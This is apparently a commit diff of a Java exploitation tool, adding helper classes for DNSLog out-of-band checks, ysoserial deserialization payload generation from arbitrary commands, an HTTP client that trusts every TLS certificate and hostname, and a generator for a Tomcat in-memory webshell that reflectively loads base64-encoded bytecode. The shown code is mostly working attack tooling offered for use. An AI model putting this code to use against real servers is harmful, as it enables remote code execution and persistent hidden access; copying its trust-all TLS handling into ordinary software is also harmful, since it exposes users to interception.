Dnslog.platform = properties.getProperty("Platform");
Dnslog.api = properties.getProperty("Api");
Dnslog.token = properties.getProperty("Token");
Dnslog.rootDomain = properties.getProperty("Domain");
Dnslog.sleep = properties.getProperty("Sleep") == null ? 5 : Long.parseLong(properties.getProperty("Sleep"));
LDAPServer.enableLDAPLog = "True".equalsIgnoreCase(properties.getProperty("EnableLDAPLog"));
HttpUtil.enableHttpLog = "True".equalsIgnoreCase(properties.getProperty("EnableHttpLog"));
}
} catch (FileNotFoundException notFoundException) {
System.out.println("config.properties文件不能为空必须配置DNSLOG");
System.exit(1);
} catch (IOException io) {
io.printStackTrace();
System.exit(1);
}
}
}

View File

@@ -0,0 +1,43 @@
package io.github.exp1orer.util;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONArray;
import com.alibaba.fastjson.JSONException;
import java.io.*;
import java.util.Map;
public class Dnslog {
public static String platform;
public static String api;
public static String token;
public static String rootDomain;
public static long sleep;
public static String getRandomDomain(int length) {
String randomStr = Parser.getRandomStr(length);
return randomStr + "." + rootDomain;
}
public static boolean getRecord(String domain) {
String url = api.replace("{token}", token).replace("{filter}", domain);
boolean resp = HttpUtil.connection(url, "GET");
try {
String responseBody = HttpUtil.getResponseBody();
Map result = JSON.parseObject(responseBody, Map.class);
if (result == null || ((JSONArray) result.get("data")).size() == 0) {
return false;
}
} catch (IOException io) {
io.printStackTrace();
return false;
} catch (JSONException jsonException) {
jsonException.printStackTrace();
return false;
}
return true;
}
}

View File

@@ -0,0 +1,43 @@
package io.github.exp1orer.util;
import com.unboundid.util.Base64;
import ysoserial.Serializer;
import ysoserial.payloads.ObjectPayload;
public class GeneratePayload {
public static String getPayload(String payloadType, String command) {
if (payloadType == null || command == null) {
return null;
}
Class<? extends ObjectPayload> payloadClass = ObjectPayload.Utils.getPayloadClass(payloadType);
if (payloadClass == null) {
System.out.println("[-] Not support " + payloadType + " gadget.");
return null;
}
try {
final ObjectPayload payload = payloadClass.newInstance();
final Object object = payload.getObject(command);
byte[] serialize = Serializer.serialize(object);
return Base64.encode(serialize);
} catch (Throwable e) {
e.printStackTrace();
}
return null;
}
public static String formatCommand(final String oldCommand) {
if (oldCommand.startsWith("ping=")) {
String[] split = oldCommand.split("=");
String key = split[0];
String value = split[1];
if ("ping".equalsIgnoreCase(key)) {
return String.format("ping -nc 1 %s", value);
}
}
return oldCommand;
}
}

View File

@@ -0,0 +1,152 @@
package io.github.exp1orer.util;
import javax.net.ssl.*;
import java.io.*;
import java.net.*;
import java.security.KeyManagementException;
import java.security.NoSuchAlgorithmException;
import java.security.cert.CertificateException;
import java.security.cert.X509Certificate;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
public class HttpUtil {
public static InputStream respInputStream;
public static boolean enableHttpLog;
static {
try {
SSLContext sslcontext = SSLContext.getInstance("SSL");
sslcontext.init(null, new TrustManager[] { new miTM() }, null);
HostnameVerifier ignoreHostnameVerifier = new HostnameVerifier() {
@Override
public boolean verify(String s, SSLSession sslsession) {
return true;
}
};
HttpsURLConnection.setDefaultHostnameVerifier(ignoreHostnameVerifier);
HttpsURLConnection.setDefaultSSLSocketFactory(sslcontext.getSocketFactory());
} catch (NoSuchAlgorithmException e) {
e.printStackTrace();
} catch (KeyManagementException e) {
e.printStackTrace();
}
}
private static class miTM implements TrustManager, X509TrustManager {
public boolean isServerTrusted(X509Certificate[] certs) {
return true;
}
public boolean isClientTrusted(X509Certificate[] certs) {
return true;
}
@Override
public void checkClientTrusted(X509Certificate[] x509Certificates, String s) throws CertificateException {}
@Override
public void checkServerTrusted(X509Certificate[] x509Certificates, String s) throws CertificateException {}
@Override
public X509Certificate[] getAcceptedIssuers() {
return null;
}
}
public static boolean connection(String url, String method) {
return connection(url, method, null, null, null);
}
public static boolean connection(String url, String method, Map<String, String> headers) {
return connection(url, method, headers, null, null);
}
public static boolean connection(String url, String method, Map<String, String> headers, String body, Proxy proxy) {
HttpURLConnection conn;
try {
conn = (HttpURLConnection) (proxy != null ? new URL(url).openConnection(proxy) : new URL(url).openConnection());
conn.setInstanceFollowRedirects(false);
// 连接超时时间为15秒
conn.setConnectTimeout(15000);
// 读取超时为30秒
conn.setReadTimeout(30000);
conn.setRequestProperty("User-Agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0");
if (headers != null) {
for (String key : headers.keySet()) {
conn.setRequestProperty(key, headers.get(key));
}
}
if (method.equalsIgnoreCase("GET")) {
conn.setRequestMethod(method);
conn.connect();
} else if (method.equalsIgnoreCase("POST")) {
conn.setDoOutput(true);
if (body != null) {
OutputStream os = conn.getOutputStream();
os.write(body.getBytes());
}
}
Map<String, List<String>> fields = conn.getHeaderFields();
if (!fields.isEmpty()) {
// 不打印Dnslog平台请求
if (!url.contains("ceye.io")) {
if (enableHttpLog) {
System.out.println("[*] Send Http Request: " + url);
}
}
// System.out.println(conn.getResponseCode());
respInputStream = conn.getInputStream();
}
} catch (IOException ioException) {
// ioException.printStackTrace();
return false;
}
return true;
}
public static String getResponseBody() throws IOException {
String line;
StringBuffer sb = new StringBuffer();
if (respInputStream != null) {
BufferedReader br = new BufferedReader(new InputStreamReader(respInputStream));
while ((line = br.readLine()) != null) {
sb.append(line);
}
}
return sb.toString();
}
public static String normalzedUrl(String url) throws Exception {
Map<String, String> parameter = new HashMap<String, String>();
URI uri = new URI(url);
String scheme = uri.getScheme();
String host = uri.getHost();
int port = uri.getPort();
String path = uri.getPath();
String[] querys = uri.getQuery().split("&");
String key, value;
StringBuffer sb = new StringBuffer();
for (String query : querys) {
String[] split = query.split("=");
key = split[0];
value = URLEncoder.encode(split[1]);
parameter.put(key, value);
}
sb.append(scheme + "://" + host + (port == -1 ? "" : ":" +String.valueOf(port)) + path + "?");
for (String tmp_key : parameter.keySet()) {
sb.append(tmp_key + "=" + parameter.get(tmp_key) + "&");
}
sb.setLength(sb.length() - 1);
return sb.toString();
}
}

View File

@@ -0,0 +1,112 @@
package io.github.exp1orer.util;
import javassist.*;
import java.io.IOException;
import java.io.InputStream;
import java.util.Base64;
public class MemoryShell {
private static MemoryShell instance = new MemoryShell();
private MemoryShell() {}
public static MemoryShell getInstance() {
return instance;
}
public static String process(String name) {
if ("".equals(name.trim()) || name == null) {
return "";
}
return instance.tomcatMemoryShell(name + ".class");
}
/**
* Tomcat内存马注入
* @param className 类名
* @return
*/
private String tomcatMemoryShell(String className) {
String payload = renameClass("User", "MyObjectLoader.class");
String bytecodes = renameClass("Login", className);
String code = String.format("String payload = \"%s\";\n" +
" String version = System.getProperty(\"java.version\");\n" +
" byte[] bytecodes;\n" +
"\n" +
" try {\n" +
" if (version.compareTo(\"1.9\") >= 0) {\n" +
" Class base64 = Class.forName(\"java.util.Base64\");\n" +
" Object decoder = base64.getMethod(\"getDecoder\", null).invoke(base64, null);\n" +
" java.lang.reflect.Method[] methods = decoder.getClass().getMethods();\n" +
" java.lang.reflect.Method decode = null;\n" +
" for (int i = 0; i < methods.length; i++) {\n" +
" java.lang.reflect.Method method = methods[i];\n" +
" if (method.getName().equals(\"decode\") && method.getParameterTypes()[0].getName().equals(\"java.lang.String\")) {\n" +
" decode = method;\n" +
" }\n" +
" }\n" +
" bytecodes = (byte[]) decode.invoke(decoder, new Object[]{payload});\n" +
" } else {\n" +
" Class base64 = Class.forName(\"sun.misc.BASE64Decoder\");\n" +
" Object decoder = base64.newInstance();\n" +
" java.lang.reflect.Method[] methods = decoder.getClass().getMethods();\n" +
" java.lang.reflect.Method decodeBuffer = null;\n" +
" for (int i = 0; i < methods.length; i++) {\n" +
" java.lang.reflect.Method method = methods[i];\n" +
" if (method.getName().equals(\"decodeBuffer\") && method.getParameterTypes()[0].getName().equals(\"java.lang.String\")) {\n" +
" decodeBuffer = method;\n" +
" }\n" +
" }\n" +
" bytecodes = (byte[]) decodeBuffer.invoke(decoder, new Object[]{payload});\n" +
" }\n" +
"\n" +
" java.lang.reflect.Method[] methods = ClassLoader.class.getDeclaredMethods();\n" +
" java.lang.reflect.Method defineClassMethod = null;\n" +
" for (int i = 0; i < methods.length; i++) {\n" +
" java.lang.reflect.Method method = methods[i];\n" +
" if (method.getName().equals(\"defineClass\") && method.getParameterTypes().length == 3) {\n" +
" defineClassMethod = method;\n" +
" break;\n" +
" }\n" +
" }\n" +
" defineClassMethod.setAccessible(true);\n" +
" Class cc = (Class) defineClassMethod.invoke(Thread.currentThread().getContextClassLoader(), new Object[]{bytecodes, new Integer(0), new Integer(bytecodes.length)});\n" +
" java.lang.reflect.Constructor[] constructors = cc.getConstructors();\n" +
" java.lang.reflect.Constructor c = null;\n" +
" for (int i = 0; i < constructors.length; i++) {\n" +
" java.lang.reflect.Constructor constructor = constructors[i];\n" +
" if (constructor.getParameterCount() == 1 && constructor.getParameterTypes()[0].getName().equals(\"java.lang.String\")) {\n" +
" c = constructor;\n" +
" }\n" +
" }\n" +
" c.newInstance(new Object[]{\"%s\"});\n" +
" } catch (Exception e) {\n" +
" e.printStackTrace();\n" +
" }", payload, bytecodes);
return code;
}
private String renameClass(String prefix, String resourceName) {
String bytecodes = "";
ClassPool pool = ClassPool.getDefault();
InputStream is = this.getClass().getResourceAsStream("/" + resourceName);
if (is == null) {
return "";
}
try {
CtClass ctClass = pool.makeClass(is);
ctClass.setName(prefix + System.nanoTime());
byte[] bytes = ctClass.toBytecode();
bytecodes = Base64.getEncoder().encodeToString(bytes);
} catch (IOException | CannotCompileException e) {
e.printStackTrace();
}
return bytecodes;
}
}

View File

@@ -0,0 +1,59 @@
package io.github.exp1orer.util;
import java.util.HashMap;
import java.util.Map;
import java.util.Random;
public class Parser {
public Map<String,String> parse(String[] args) {
Map<String, String> argsMap = new HashMap<String, String>();
for (String arg : args) {
String[] strings = arg.split("=", 2);
argsMap.put(strings[0], strings[1]);
}
return argsMap;
}
public static Map<String, String> parseHeaders(String headers) {
if (headers == null) {
return null;
}
Map<String, String> map = new HashMap<String, String>();
String[] header = headers.split(";");
String key;
String value;
for (String head : header) {
String[] strings = head.split(":", 2);
key = strings[0];
value = strings[1];
map.put(key, value);
}
return map;
}
public static String getRandomStr(int length) {
Random random = new Random();
StringBuffer sb = new StringBuffer();
for (int i = 0; i < length; i++) {
int number = random.nextInt(3);
long result = 0;
switch (number) {
case 0:
result = Math.round(Math.random() * 25 + 65);
sb.append(String.valueOf((char) result));
break;
case 1:
result = Math.round(Math.random() * 25 + 97);
sb.append(String.valueOf((char) result));
break;
case 2:
sb.append(String.valueOf(new Random().nextInt(10)));
break;
}
}
return sb.toString();
}
}

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.